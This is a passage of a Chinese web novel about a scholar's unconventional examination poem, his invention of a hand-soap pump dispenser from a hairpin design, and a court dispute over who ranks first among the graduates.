第九日,最后一场考试,在一种复杂的氛围中拉开序幕。
试卷发下,是诗赋。
题目赫然是:《以“秋思”为题,作七律一首》。
这题目可谓正中许多士子下怀!
秋日本就是惹人愁思的季节,加之考场艰辛、前途未卜,众人顿时文思泉涌(自认为),纷纷挥毫泼墨。
有的极力描摹秋景萧瑟,渲染悲凉;有的直抒
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胸臆,感叹壮志未酬,人生易老;有的则堆砌辞藻,用典繁复,力求华丽。整个考场弥漫着一股“为赋新词强说愁”的浓郁气息。
赵公子也绞尽脑汁,搜肠刮肚,写了一首格律工整、引经据典(诸如宋玉悲秋、潘鬓沈腰之类)的悲秋之作,自觉情感“深沉”,文采“斐然”,颇为得意。
轮到林闲,他看到题目,再回想起昨夜明月、吉他、相思曲,嘴角不禁勾起一抹会心而自信的微笑。
这题目,简直是为他昨夜的“预演”量身定做!
他好整以暇地磨墨,铺纸,提笔蘸饱了浓墨,略一沉吟便落笔如飞,一首七律跃然纸上:
《秋思·贡院夜弹吉他寄远》
(谐音梗与时代混搭预警!)
“九天鏖战贡院秋,号舍烛红映白头。”
(表面写考试艰苦漫长,烛火映照下仿佛头发都熬白了,实则是装逼式吐槽,暗示自己熬夜奋战依旧帅气逼人,与周围真正“白头”的士子形成对比。)
“吉他弦动相思调,月光如水洗乡愁。”
(吉他入诗!直接将现代乐器名嵌入古典诗词,堪称石破天惊!但与“相思调”、“月光”结合,竟毫无违和感,画面感与情感瞬间拉满,逼格突破天际!)
“莫道功名遮望眼,此心长系湖心舟。”
(表达超脱功名之念,情感真挚。暗藏玄机:“湖心舟”既指代江南水乡、闲适情怀,更暗喻“苏元”之名(湖心之元,水央伊人),知情者如周学政若细品,必能会心一笑,暗赞此子用情至深,心思巧妙。)
“待得桂香折枝日,与君共醉明月楼!”
(尾联展望未来,充满自信与期待,“桂香折枝”暗指折桂中举,“共醉明月楼”画面浪漫,将个人情感与事业追求完美结合,格局大开。)
此诗一出,堪称“降维打击”!
它将考场的艰辛、月夜的静谧、吉他传情的浪漫、对功名的淡泊、对伊人的专一思念、以及对未来的美好期盼,完美地熔于一炉!
既紧扣“秋思”主题,又极其个人化、生活化,情感真挚自然,毫无矫揉造作之感。
尤其是“吉他”一词的运用,大胆前卫,却因情感真挚而显得浑然天成,意境全出!
更重要的是,诗中蕴含的自信(鏖战、折桂)、深情(相思、长系)、洒脱(莫道功名),与周围那些或无病**、或愁云惨淡、或汲汲于功名的诗作相比,高下立判!
诗成,笔搁。
林闲轻轻吹干墨迹。
可以想象,当这份试卷被誊抄传阅时,将在士林中引起怎样的轰动。
众士子必当再次为林闲的惊世才情、浪漫情怀与深情感所彻底折服!
“吉他是什么?”
“湖心舟有何深意?”
必将成为热议话题!
而赵王若日后得见此诗,更会抚掌长叹:“情深义重,才华横溢,更难得的是自信洒脱,不为俗礼所拘。此子,绝非池中之物!”
最后一日,就在林闲这首“惊世骇俗”又“深情款款”的吉他情诗中缓缓落下帷幕。
第九十七章 格物巧思:珠钗启智,洗手液成!
此刻,秋闱已正式落幕。
贡院的喧嚣散去,但林闲并未有片刻清闲。
他回到江陵府城外的别院,一边耐心等待放榜,一边将精力投入到“便携式按压洗手液”的研发攻坚中。
此刻林闲院内摆满各式琉璃器皿、铜铁零件、草木原料以及琳琅满目的工具,空气中弥漫着皂角清香和金属、油脂混合的独特气味。
液态皂液的基础配方经他反复调试已趋于完善,色泽清透气味淡雅,去污力颇佳。
然而最关键的按压泵头却成了拦路虎,进展极其缓慢。
林闲尝试了多种方案:用极薄的铜片卷成弹簧,弹性不足,按压几次就疲软。
用精心打磨的细竹篾,韧性尚可但易折断,且不耐久。
甚至尝试用特殊药水处理过的兽筋,力道却难以控制均匀,时松时紧。
密封更是难题,软木塞易受潮腐蚀,蜡封又影响按压的顺滑度,且容易泄漏。
这日午后,阳光透过窗棂,照亮了工坊内一片狼藉的试验台。
林闲又一次面对着一桌的失败品,眉头紧锁。
他拿起一个最新制作的、结构相对复杂的泵头模型,深吸一口气,用力一按——
“啵!”
一声轻微的、令人沮丧的异响传来,预埋在内部起密封作用的一小块软木塞竟被内部气压顶飞了出去。
调配好的皂液随之溅出少许,沾湿了他素色的袖口,留下点点污渍。
“唉……”
林闲长叹了口气,有些烦躁将那个不争气的模型丢回桌上,发出“哐当”一声响。
他揉了揉发胀的眉心,感到一阵深深的无力感。“这最后一里路,还真是难如登天!难道真要卡在这小小的机关上?”
他盯着桌上那堆乱七八糟、仿佛在嘲笑他无能的零件,心中涌起一股强烈的挫败感。
林闲拿起笔,在铺开的宣纸上无意识画着泵头的结构草图,试图找出问题的症结,却只觉得思绪如同乱麻,闭塞不通。
就在他几乎要陷入钻牛角尖的僵局时,老仆轻手轻脚走了进来,手中捧着一封素雅的信函,低声道:“三爷,听雪小筑的苏姑娘派人送来的信。”
林闲精神微微一振,他接过信展开素笺,苏元那清雅灵动、如其人的字迹便映入眼帘。
信中先是关切地问候了他考后的状况,叮嘱他莫要太过劳神,注意歇息。
随后苏元笔锋悄然一转,写道:
“闻君近日潜心格物,研制便民新器,元儿心甚佩之,亦常挂念。然工欲善其事,必先利其器,若遇阻滞心神困顿,或可暂歇片刻观物于微,或能得意外之启发。譬如女子妆奁之中,看似寻常亦暗藏诸多精巧机关,或可为鉴。随信附上小物一件乃元儿平日所用,望博君一粲,或能解君片刻烦忧,暂舒眉结。”
信末,还俏皮地画了一个眉眼弯弯的笑脸。
看完信,林闲心中暖意融融。
苏元的细心与关怀仿佛一股清泉,稍稍洗去了他心头的焦躁。
他拿起随信送来的那个绣工精致的锦囊。
打开系带,里面是一支极为精巧的赤金点翠珠花发钗。
钗身纤细流畅,钗头是一朵栩栩如生、含苞待放的芙蓉花。花心巧妙地嵌着一颗圆润光泽的小珍珠,整体显得雅致而不失华贵。
“元儿怎将她平日用的钗子送来了?”
林闲起初并未多想,只当是苏元赠他把玩、聊以解闷的心爱之物,心中感念其心意。
他下意识地拿起发钗在指尖轻轻转动把玩,欣赏其做工之精妙。
然而当他无意中用指尖摩挲到芙蓉花底部一个难以察觉的凸起时,心中一动,便轻轻按了下去——
“嗒!”
一声极其清脆、利落的轻响冒出,那朵原本含苞的芙蓉花,花瓣竟应声优雅地弹开,露出了里面一个却打磨得光滑无比的空腔!
显然是用于存放些许名贵香膏或提神药物之用!
更令林闲震惊的是,那连接花瓣与钗杆的微型卡簧结构设计得弹性恰到好处,开合顺滑无比。且闭合时严丝合缝,密封性极佳!
林闲猛地从椅子上站了起来,死死盯住那蕴含惊人智慧的机关。
他脑中有惊雷炸响,豁然开朗!
“这卡簧!这力道!这密封!”
他失声低呼,声音因激动而
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有些颤抖。
他猛地抓起桌上那个失败多次的泵头模型,又低头看看手中这枚巧夺天工的发钗,反复对比。
那困扰他多日、让他绞尽脑汁的弹簧力道控制难题、密封性保证难题,在这女子闺阁中一件日常所用的寻常首饰上,竟然找到了一个近乎完美的、现成的、精妙绝伦的解决方案!
“何须铜丝千般绕,且看妆台一芙蓉!踏破铁鞋无觅处,得来全不费工夫!元儿她……她这不是随意赠送玩物,这是一语双关,是画龙点睛,是于无声处听惊雷啊!”
巨大的惊喜和近乎崇拜的佩服之情,如同潮水般涌上林闲心头!
他忍不住抚掌大笑,多日的郁气一扫而空:“妙极了!元儿真乃吾之福星,吾之诸葛!我真是蠢材!终日埋首在这些铁疙瘩里钻牛角尖,却忘了格物致知的真谛在于观察万物,融会贯通!竟不如元儿闺中一瞥,见识超卓!”
狂喜过后,林闲立刻铺开信纸给苏元回信。
信中,他先是激动描述了珠钗机关带给他的巨大启发,详细说明了如何借鉴其微型卡簧和密封原理来改进泵头的具体思路,并画了简明的示意图。
最后他由衷地写道,字里行间充满了叹服与感激:
“元儿一钗,点破玄关,胜读十年工巧之书!闲终日苦思,皓首穷经,竟不如卿闺中一瞥,见识超卓,点拨愚钝。古人云他山之石可以攻玉,今方知他山之玉,就在妆奁!此物若成,当命名曰元启,一则纪念这灵感源自元儿所赠之钗,二则寓意此物乃元儿启我灵犀所致!功成之日,卿当居首功!”
他将信和那张画有突破性思路的草图仔细封好,命人火速送往听雪小筑。随后,他立刻如同换了个人般,精神抖擞地投入到新一轮的试验中,思路豁然开朗,之前困扰他的诸多难题,在“珠钗机关”的启发下,竟迎刃而解!
一枚小小的珠钗,竟成了攻克技术难关的关键钥匙。
这不仅是技术上的突破,更让林闲对苏元的智慧与情意,有了更深一层的认识。
而“元启”洗手液的诞生,也因此被赋予了一段浪漫而传奇的背景。
第九十八章 鱼雁再通:苏元妙语再助攻
数日后,听雪小筑内。
苏元收到了林闲回信和附带的草图。
她屏退侍女,独自在窗前坐下小心翼翼展开信纸。
当看到林闲略带潦草的字迹,以及字里行间条理清晰的叙述时,她仿佛能透过纸张,看到那个在杂乱工坊里、因灵感迸发而兴奋忙碌的才子身影。
苏元的嘴角泛起一抹温柔的笑意,连眉梢都柔和下来。
她开始仔细阅读了林闲关于借鉴珠钗卡簧和密封结构的详细设想,尤其是那张虽然笔画简洁却思路清晰的示意图。
看着图中那巧妙转化的结构,苏元心中暗赞林闲举一反三的能力。
凭借着女子特有的细腻,她还敏锐注意到图中一处关于卡簧受力支点的设计,似乎将所有压力集中于一点。虽然巧妙但长久使用之下,恐有金属疲劳之虞。
苏元沉吟片刻并未直接修改图纸,那样显得过于越俎代庠。而是提笔蘸墨,在回信中委婉写道:“见君草图思路清奇,化闺阁小巧为经世致用之器,元儿叹为观止。然妾观图中钗簧受力之妙,偶有一思。譬如女子撑伞,若伞骨之力尽聚于一处恐大风易折。若力道能如伞骨般稍作分散均衡承托,或可更增其稳固耐用。此乃妾于日常女红针黹间,观物察理所偶得之愚见,妄言一二,君自斟酌。”
苏元巧妙用“伞骨分散受力”这个生活中随处可见的比喻,既点出了问题的关键又给足林闲思考的空间。
随信苏元还附上了一小段自家织坊特制的、韧性极佳、质地密实的素白鲛绡,并附言:“此绡乃家中所织,韧而不脆,浸油不腐,或可试为密封垫材之一选?聊备一格,以供君参详。”
这份细心与支持,无声胜有声。
另一边,林闲的临时工坊内。
林闲正对着最新一版按照珠钗灵感改进的泵头模型进行测试,按压感已顺滑不少,但连续按压数十次后,确实能听到内部传来一丝极其轻微的金属疲劳的“嘶”声。他正微微蹙眉思索症结所在,苏元的回信和鲛绡恰好送到。
他迫不及待地展开信件,当读到“伞骨分散受力”这个比喻时,猛地一拍大腿,眼中精光爆射!
“妙啊!真是一语点醒梦中人!”
林闲忍不住高声喝彩:“我TM怎么就没想到?力聚一点,久必衰疲!元儿真是……真是观察入微,比喻精当!这伞骨之说,简直比我翻烂十本《考工记》还有用!”
他立刻拿起那个出现疲劳声的模型,对照苏元的建议,反复揣摩,茅塞顿开!
林闲立刻铺开新的草图纸,开始重新设计卡簧结构,引入类似伞骨的分布式支撑点。
同时他拿起那段素白鲛绡,仔细摩挲其质地,又尝试用油浸润,发现其果然韧性强且密封性极佳,远比他自己试验的软木、蜡封等材料优秀!
“哈哈!天助我也!不,是元儿助我!”
林闲兴奋得在工坊里踱步,嘟囔道:“这鲛绡,正是梦寐以求的密封材料!元儿连这都想到了!这份心思,这份助力……我林闲何德何能!”
巨大的喜悦和一种难以言喻的、被深深理解和支持的感动涌上心头。
他立刻伏案,再次给苏元回信。
这一次他的信写得格外长,不仅甚至带点夸张地感谢苏元的“神来之笔”,还详细阐述了自己根据“伞骨原理”修改后更坚固耐用的新设计图,甚至林闲特意画了张将泵头结构巧妙隐藏在芙蓉花苞内的“元启洗手液”概念图,旁边标注:“此物若成当如此图,既实用亦不失雅致,方不负卿之慧心巧思。”
在信的末尾,林闲的笔触不再仅仅局限于技术讨论,而是自然而然流露出更深的情感,文字变得柔和而真诚:
“得卿数次相助,如拨云见日,茅塞顿开。昔日只知元儿才情斐然,诗书满腹。今日方知卿之慧心兰质,更在格物致知之微末处见真
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章。与卿书信往还,切磋琢磨,竟觉这往日枯燥工坊,油污铁屑之间,亦因卿之片言只语而生出无限暖意与乐趣。此中快慰,非言语所能尽述。盼桂香早至金榜题名时,能与卿当面言谢煮茶论道,共话……未来新篇。”
“共话未来新篇”几字,写得含蓄而郑重,那份希望放榜后能与她有更深入交往的期待,已跃然纸上。
苏元在听雪小筑收到这封厚厚的回信和那张别出心裁的概念图时,指尖微微发烫。
她逐字逐句地读着,尤其是最后那段话,让白皙的脸颊上不禁飞起两抹红云,心中如同揣了一只小鹿,甜意丝丝缕缕蔓延开来。
苏元能清晰感受到,林闲字里行间涌动的那份超越技术交流的真挚欣赏与情谊。
她没有立刻回复,而是将那张“芙蓉洗手液”的概念图看了又看,眼中异彩连连,既佩服林闲的奇思妙想,更心动于他那份“既实用亦不失雅致”的用心。
最终,她再次提笔回了封简短的信:
“君之巧思已臻化境,元儿拜服。图纸谨存,静待佳音。盼君今科折桂,前程似锦。”
没有过多言辞,但“静待佳音,盼君折桂”八字,已将她对林闲的期许、祝福以及那份默默的关注,表露无遗。
她将那份概念图小心收在了自己的妆奁底层,与那支点翠珠钗放在了一起。
通过几次密集的书信和实物(珠钗、鲛绡、图纸)往来,两人在共同攻克“便携洗手液”这一技术难题的过程中,完成了一场高质量的智力碰撞与精神交流。
一种基于互相欣赏、彼此成就的深厚情愫,在图纸与文字间暗暗滋生、深深流转。
而元启洗手液的研发,也因这“珠钗启智”、“伞骨建言”、“鲛绡试材”以及林闲最终的“巧思定型”,取得了决定性的突破。
一段才子佳人的佳话,正在这格物工坊与书香闺阁之间,悄然谱写。
第九十九章 三强争鼎,试卷定乾坤
江南贡院的内帘,气氛凝重得如暴风雨前的死寂。
连日来,数百份朱卷(誊录后密封姓名的试卷)经过数轮紧张的批阅、筛选、复核。
最终,一百五十名新科举人的名单尘埃落定。
就在确定最受瞩目、象征一省文魁的解元人选时,以代理主考周学政为首的阅卷官们,爆发了前所未有的激烈争执。
空气中弥漫着无形的硝烟,争论之声几乎要掀翻屋顶。
焦点集中在三位实力超群、背景各异的顶尖士子身上,几乎形成三足鼎立之势!
第一位,江宁府李文渊。
此子出身显赫,其父乃是执掌天下漕运、权倾一方的漕运总督李纲。李纲不仅是正二品封疆大吏,更是太子殿下在江南最为倚重的股肱之臣。
李文渊的文章周正大气,引经据典功底极为扎实,尤其是那篇《论漕运新策》,写得花团锦簇。
他将漕运的重要性、现有弊端以及一些不痛不痒的改良建议阐述得淋漓尽致,深得几位思想保守、讲究“根正苗红”的阅卷官(如姓王的翰林侍读)的极力推崇。
王侍读拍着桌子,唾沫横飞:“李生此文格局宏大根底深厚,深得经义精髓!更难得的是其心系国本(漕运),颇有乃父之风。此等人才,正是朝廷栋梁之选。解元之位,非他莫属!”
旁边立刻有人低声附和:“是啊,李总督的面子……太子殿下的期许……总不能不给吧?”
第二位,苏州府张远。
此子出身江南著名的书香望族张氏,家学渊源。其叔父是朝中清流领袖之一的都察院左都御史张清正,素以刚直不阿、学问渊博著称。
张远的文章清雅隽永文采斐然,尤其是诗赋,意境高远堪称一绝,在江南士林中享有极高的声誉。
几位重视文学才华和传统士大夫风骨的阅卷官,都对他极为欣赏。
特别是孙司业捻着胡须,摇头晃脑语气带着文人的清高赞道:“张生之文如空谷幽兰,清丽脱俗。诗赋更是字字珠玑,已得魏晋风骨。我辈取士首重才情品性,若让一汲汲于实务、满口俚语之人夺魁,岂不令天下士子寒心,笑我江南无人耶?解元,当属张远,以彰文华!”
第三位,江陵府林闲。
这位的名字一被提出,整个内帘瞬间像是炸开了锅!
他的试卷,尤其是那几篇充满了“爆梗”的经义策论——《泥菩萨论吏治》、《皂滑弄人悟通变》、《吉他弦动寄秋思》——在阅卷官中引起了极端对立的评价,堪称冰火两重天!
以周学政和另一位较为开明的礼部郎中为代表的支持派,对其不吝赞美之词。
周学政强压激动,指着林闲的试卷,声音都有些发颤:
“诸位,请看林闲之文!《泥菩萨》一篇,直指吏治积弊,振聋发聩!《皂滑通变》之论,于微末处见大道,化俗为雅,点石成金!更不用说那首《吉他秋思》,情深意切,前无古人。此子之才天马行空,不拘一格。其见解之深刻思维之敏锐远超寻常腐儒,这才是真正的经世致用之才。陛下与赵王殿下皆已瞩目于此子,我等若因循守旧,岂非埋没天才,有负圣恩?!”
然而,反对派的声音同样激烈。
那位王侍读立刻跳出来反驳,一脸鄙夷:
“周大人此言差矣!科举取士首重清真雅正,林闲之文固然有些奇巧淫技。然用语粗俗,竟将泥菩萨、皂滑、吉他这等市井俚语、番邦蛮器写入堂堂科举文章,成何体统?!简直斯文扫地,有辱圣贤!此风若开,日后科举岂不成了市井说书场?解元代表一省文脉颜面,若让此等人物夺魁,我江南士林颜面何存?!”
双方各执一词争得面红耳赤,谁也说服不了谁。
支持者赞林闲“真性情,大智慧”,反对者骂其“坏规矩,乱纲常”。
李文渊的“权势背景”与张远的“清流声望”,在林闲这种“离经叛道”却又“光芒四射”的才情面前,似乎都显得有些苍白和传统。
周学政作为主考,端坐主位心中却是波涛汹涌,压力如山。
他内心天平早已倾向林闲,此子之才堪称他阅卷生涯所见之最,未来不可限量。
但李文渊背后的太子势力和张远所代表的清流**,如两座大山压得他喘不过气。
平衡?
如何平衡?
这根本不是平衡,而是抉择!
一场关乎未来朝堂格局的抉择!
他目光扫过桌上那三份代表着不同势力、不同文风、不同未来的试卷,手指无意识地在案上敲击着,脑中飞速权衡着利弊得失。
最终,他的目光定格在林闲那份字迹飞扬、充满了生命力与颠覆性思想的试卷上,一个大胆甚至有些冒险的念头逐渐清晰。
就在争论陷入僵局之际,郑姓巡场官站出来突然提醒道:
“诸位大人,卑职突然想起一事。考试第一天开考前,包括张远张公子、李文渊李公子在内的近二十名士子莫名**,上吐下泻。凶手其目的,便是想扰乱考场,让包括林闲在内的众多优秀士子无法完卷!”
内帘之中一片哗然!
科举下毒,这可是惊天大案!
“更关键的是,”郑巡场官语气带着敬佩,“当时号舍区一片混乱,医官人手不足。是林闲林公子,不顾自身考试,主动拿出自备黄连解毒散,分发给发病的士子,并指导他们服用。若非林公子仗义援手医术高明,张、李等近五十位士子恐怕难以坚持考试,甚至会有性命之危。此事多位差役、医官及受害士子均可作证!”
此言一出,如同平地惊雷!
刚才还极力抨击林闲“俚俗”的王侍读和孙司业,顿时面如土色哑口无言。
他们可以争论文采高低,可以抨击用语新奇。
但在林闲“不计前嫌、考场救难、活人无数”的仁心义举和如山铁证面前,任何关于“品行”的指责都显得如此苍白可笑。
张远、李文渊等人能完卷,乃至能活命,从某种意义上说,是欠了林闲天大的恩情!
周学政心中狂喜,这简直是天助我也!
他站起身,声如洪钟带着凛然正气:
“都听到
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了吗?!下毒陷害,此乃科场巨蠹,人神共愤!而林闲临危不乱,悬壶济考,以德报怨!此乃何等胸襟?何等仁德?科举取士取的是什么?取的是才,更是德!”
他目光扫过王侍读和孙司业,沉声道:“若论才学,林闲之文别开生面切中时弊,尔等有目共睹。若论德行,林闲于考场之上拯同袍于危难活士子数十,此乃活命之恩如山重义。试问一张试卷,纵然辞藻再华美,能比得上这活生生的人命关天?能比得上这才德兼备,仁心仁术?!”
周学政的质问,如重锤敲在每个人心上。
他最后拿起林闲的试卷,声音激昂无比:
“文可安邦,医可救命,德能服众!此等才、识、德、术兼备的旷世奇才,若不点为解元,我等岂不是有眼无珠,愧对朝廷,愧对苍生?!难道要取那等下毒害人之辈,或只知吟风弄月、见死不救之徒为解元吗?!”
这番结合了考场下毒巨案、林闲救人义举、并上升到“才德兼备”高度的慷慨陈词,彻底粉碎了所有反对声音!
王侍读和孙司业冷汗涔涔,再也说不出半个不字。
在“仁义”这面大旗下,所有关于文风的争论都显得微不足道。两人颓然坐下,不敢再发一言。
就在这时,一名心腹书吏匆匆而入,在周学政耳边低语了几句。
周学政闻言,眼中精光一闪,原本紧锁的眉头骤然舒展,嘴角甚至勾起了一抹难以察觉的笑意。他挥了挥手,示意书吏退下。
随后,周学政清了清嗓子,环视全场仍在激烈争论的阅卷官,声音不高,却带着一种不容置疑的决断力,缓缓开口:
“刚赵王殿下传话,陛下阅过考生卷子后,钦点林闲文章最佳!本官身为皇上钦点之主考,肩负为国选才之重任。取士之道,在于唯才是举。林闲之试卷或许用语新奇,或许不合某些人之雅正,然其见识之超卓,思辨之深刻,关切实务之切,乃至其文中所蕴含的勃勃生机与创新精神,皆远非寻常试卷可比!此乃大才,乃至国士之雏形!”
他顿了顿,语气陡然加重,带着一丝凛然之气:“故此,遵照陛下御批,本官决定今科江南乡试解元第一候选人,拟定为江陵府士子林闲!同时将李文渊和张远分列为第二和第三候选人,一并呈送陛下定夺!”
此言一出,满堂皆惊!
消息虽被严密封锁在内帘,但世上没有不透风的墙。
“解元之争,林闲疑似胜出”的惊人消息,还是通过特殊渠道,如长了翅膀一般迅速传到了江宁、苏州、江陵,乃至京城的某些权贵耳中。
一时间,三地士林与背后势力,暗流汹涌,反应各异。
太子东宫,有人摔了杯子。
清流府邸,有人摇头叹息。
而江陵府内外,则是一片难以置信的狂喜与期待!
一场由试卷引发的风暴,即将随着放榜之日席卷江南!
但由于本次乡试的结果,牵扯皇帝及三位皇子。
周学政只能强力推荐林闲,最终裁决,还要看京城拍板定夺……
第一百章 朝堂博弈:赵王战群臣,闲生震金銮
京城大殿,气氛庄严肃穆又暗流汹涌。
此刻三份誊录工整的朱卷连同阅卷官们褒贬不一的评语,被一并呈送至御前,等待九五之尊的圣裁。
早朝伊始,礼部尚书出列,简要汇报了江南乡试的总体情况。
当提及解元人选争议时,整个大殿的空气瞬间凝固,所有大臣都竖起耳朵。
太子一系的官员率先发难。
身着绯袍的户部钱侍郎跨步出列,声音洪亮奏道:
“臣以为解元之位,非江宁府李文渊莫属!李生出身名门,其父漕运总督李纲大人,忠心体国劳苦功高。文渊自幼耳濡目染,学识渊博文章沉稳大气,尤擅经世致用之学。其《论漕运新策》一篇,高屋建瓴洞察时弊,足见家学渊源,颇有乃父之风。陛下点李生为解元,既可激励忠良之后,彰显朝廷不忘功臣之心。更可昭示天下,我朝取士首重经世实务,此乃两全其美之策!”
话音刚落,清流官员立刻反击。
一位青袍翰林院孙学士挺身而出,语气带着文人的清高与激昂:“钱侍郎此言差矣!”
随后他拱手向御座一拜,反驳道:“陛下,科举取士乃为国选才,首重真才实学,岂能沦为酬庸赏功之具?苏州张远乃江南士林翘楚,其赋清丽脱俗有魏晋遗风。点其为解元方能彰显朝廷崇文重教、礼贤下士之风,令天下寒窗苦读的士子心服口服。若因门第而取,岂不寒了天下读书人之心?臣恐上品无寒门,下品无士族之旧弊复萌啊!”
双方各执一词,引经据典争论不下,殿上弥漫起一股**味。
就在此时,一向与太子不对付的汉王周阳出列了。
他先是冷哼一声吸引全场注意,然后才慢条斯理道:
“父皇,儿臣以为,钱侍郎与孙学士所言,皆是一叶障目,不见泰山!”
他先各打五十大板,显示自己的超然,随后才展开讲:“李文渊之文看似平稳,实则拾人牙慧毫无新意,不过是倚仗父辈余荫。张远之才,仅限于吟风弄月。此二人,皆非解元之选!”
他虽未提林闲,但否定了前两者,其意图昭然若揭。
显然是想推自己暗中属意之人,或至少搅浑水,不让太子和清流得逞。
太子脸色一沉,清流官员也面露不忿。
汉王微微垂首,看似恭顺心中却在飞速盘算:“老子平时哪会这些堂皇之词!幸亏本王养了几个机灵谋士,给本王出了个捧杀的招和准备说辞。太子想推李文渊那个蠢货,无非是想进一步拉拢李纲,巩固其在江南漕运的势力。清流那帮书呆子捧张远,不过是维护他们那套酸腐的文坛地位。”
“林闲确实是个异数,才华惊世连赵王都如此看重。若让他轻易中了高第得了圣心,日后必成心腹大患难以掌控。不如……先顺水推舟,假意赞同赵王,力捧林闲为解元!”
一个毒计在汉王心里酝酿:“解元之位看似荣耀,实乃众矢之的。林闲骤然被捧至如此高位,必然招致太子一系和众多世家子弟的嫉恨。届时他根基浅薄,本王再稍加运作让他处处碰壁,他自然知道该投靠谁才能站稳脚跟。就算他骨头硬不肯就范,一个被捧杀、遭排挤的天才,也总比一个顺风顺水、羽翼渐丰的能臣要好对付得多!”
“而张远此人虽有清名,但家族势力远不如李纲,其人性情也较为清高孤傲,未必肯彻底投靠太子。若林闲被捧杀清流失了指望,本王再许以高位暗中支持张远,不难将这部分清流势力收归己用!此乃一石二鸟之计!”
想及此处,汉王心中冷笑连连,已然将林闲视为用以搅乱棋局的棋子。
他打定主意,先借赵王之势把林闲推上去,再行捧杀之实!
与此同时,一直静观其变的赵王周宸,终于动了!
只见他从容不迫迈步出班,气度非凡。
赵王先向御座恭敬行礼,然后转身目光扫过刚才争论的双方,最后朗声开口:
“儿臣有本奏!关于江南解元之争,儿臣此前奉旨亲临贡院,对几位才俊的才学品性,略有了解。方才钱侍郎、孙学士所言,臣弟以为,皆未切中要害!”
此言一出,满殿皆惊!
赵王这是要联合汉王对战太子和清流啊!
连龙椅上的皇帝,眼中都闪过一丝感兴趣的神色。
赵王不慌不忙,首先针对太子系:“李文渊之文四平八稳,看似老成实则墨守成规,缺乏锐气!漕运策论,不过是重复其父麾下幕僚的陈词滥调,何来高屋建瓴?若点此人为解元,非但不能激励实务,反而会助长因循苟且、不思进取之风!”
接着,他转向清流道:“张远诗文确属上乘,然治国安邦非仅靠诗词歌赋!若论风花雪月,秦楼楚馆中精通此道者甚众,难道都可点为解元?科举取士,当为朝廷选拔栋梁之材,而非清谈客!”
这番话可谓辛辣至极,钱侍郎和孙学士气得脸色通红,却又一时语塞。
最后赵王图穷匕见,带着无比的坚定推崇道:“故此,儿臣要力荐一人——江陵府士子,林闲!荐他,理由有三!”
大殿内一片寂静,所有人都屏息凝神。
“其一,才学卓绝,见解超凡脱俗!”
赵王声音铿锵,挥手论断:“其经
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义策论,虽用语活泼,看似俚俗然句句切中时弊!所提以开源促节流、义利之辨需分公私、通变利民在于细微处等观点,务实深刻,直指治国根本,绝非寻章摘句之辈可比。尤其应对百万两困局之策,胆识过人思路清奇,已有庙堂谋划之气象。此等见识,岂是李文渊之流能及?岂是张远吟诗作赋可比?”
“其二,心态豁达,临危不乱!”
赵王继续,眼中带着藏不住的赞赏:“贡院九天风波不断,然林闲始终从容应对,甚至能于困局中巧思不断——以自制化妆品套装抗酷暑,携琴抒怀以安众心,更在有人暗中下毒(赵公子之事已小范围传开)危及众多士子时,挺身而出,以自备药散救同袍于危难!此等应变之才、仁勇之心,乃为国效力者不可或缺之品质。试问李文渊、张远可曾有此担当?”
赵王目光扫过面色紧绷的太子和神色闪烁的汉王,最终落在皇帝身上:“其三,也是最重要的一点。林闲出身寒微,全凭自身努力登科。点此人为解元,方能昭示天下。我朝取士唯才是举不论门第,此可极大激励天下寒门学子,巩固我朝根基!”
他顿了顿,语气转为凌厉道:“反之若点高官之子,难免让天下人非议科举乃权贵游戏。若点世家子弟,亦恐助长党羽之风。唯有点林闲此等寒门俊杰,方能彰显陛下公正无私、天下为公之圣德。方能让我朝科举,真正成为为国选才之坦途,而非结党营私之捷径!”
赵王这一番话有理有据,有褒有贬,更站在了“激励寒门、彰显圣德”的绝对道德高地上!
太子脸色铁青,汉王周阳神色有些震撼。
钱侍郎、孙学士等人张了张嘴,却发现自己任何反驳的言语,在赵王这“唯才是举”、“不论门第”的大义面前,都显得苍白无力,甚至可能触怒龙颜!
整个金銮殿,鸦雀无声!
端**的皇帝,静静听着赵王这番慷慨陈词,深邃的目光闪过一丝难以察觉的波动。
他手指轻敲龙椅扶手,良久才缓缓开口:
“众卿之意,朕已了然于胸。赵王汉王所言,不无道理。解元人选关乎朝廷体统和士子之心,朕需斟酌。今日暂且退朝,容朕……细览试卷,再作决断。”
朝会散去,但赵力荐林闲战群臣的雄辩,却迅速传遍朝野!
林闲这个名字伴着“寒门奇才”、“汉王赵王力保”、“见解超凡”、“考场救人”等标签,第一次震撼了整个帝国的最高权力圈!
一场围绕解元之位的朝堂博弈,因赵王的强势介入,进入了更加扑朔迷离的阶段。
第一百零一章 投桃报李:赠宝定盟
夜色如墨,万籁俱寂。
江陵城外的临时工坊内。
烛火摇曳,林闲的身影被拉得悠长。
空气中弥漫着皂角、薄荷与几种特殊草药混合的独特清香,与寻常工匠坊间的污浊气味截然不同。
工作台上,排列着数十个新烧制出来的甜白釉瓷瓶。瓶身仅以青花勾勒几笔兰草,显得清新脱俗。
而最引人注目的,是瓶口那闪烁着金属光泽的按压泵头——其核心的微型弹簧与密封结构,正是借鉴了苏元那支珠钗的灵感经林闲反复优化而成,按压顺滑密封极佳。
林闲正手持一个小镊子,小心将最后一道用浸药液制成的密封垫圈安装到位。
他的动作专注而精准,仿佛在进行一场精密的外科手术。
忽然,烛火微不可察摇曳了一下。
林闲手中的动作没有丝毫停顿,甚至连眼皮都没抬一下。
他只是嘴角微勾起一抹弧度,平淡笑道:“影刹姑娘,既然来了,何必立于窗外?夜露深重,进来喝杯热茶吧。主窗左上第三格,有新焙的茉莉香片。”
窗外静默一瞬。
随即,一道黑影悄无声息滑**内,正是影刹。
她面上罩着轻纱,只露出一双清冷明亮的眼眸。
此刻,这双眸子里却难掩一丝惊诧。
她自认潜行术已臻化境,竟被林闲如此轻易地道破行藏,甚至连她习惯的窥视位置都一清二楚?
“先生灵觉,影刹佩服。”
她微微躬身,声音依旧清冷却带上了几分敬意。
林闲笑着不答,指了指窗边。
影刹依言走向窗边茶台,果然找到了那罐温热的香片。
林闲这才放下工具,拿起一块细棉布,慢条斯理地擦拭着手指,指了指旁边的椅子:“坐。看你气息微促,眉宇间带着一丝不易察觉的喜色,但眼底又藏着一缕凝重……可是……朝堂之上,有了对我有利的消息,但……也有些不那么好的风声?”
影刹心中再震!她确实因刚刚得到的密报而心绪复杂,没想到竟被林闲一眼看穿!
她不再犹豫,压低声音汇报:“先生神机妙算,确有消息。赵王殿下今日早朝,为解元之事,力战群臣和太子,在御前极力举荐先生!”
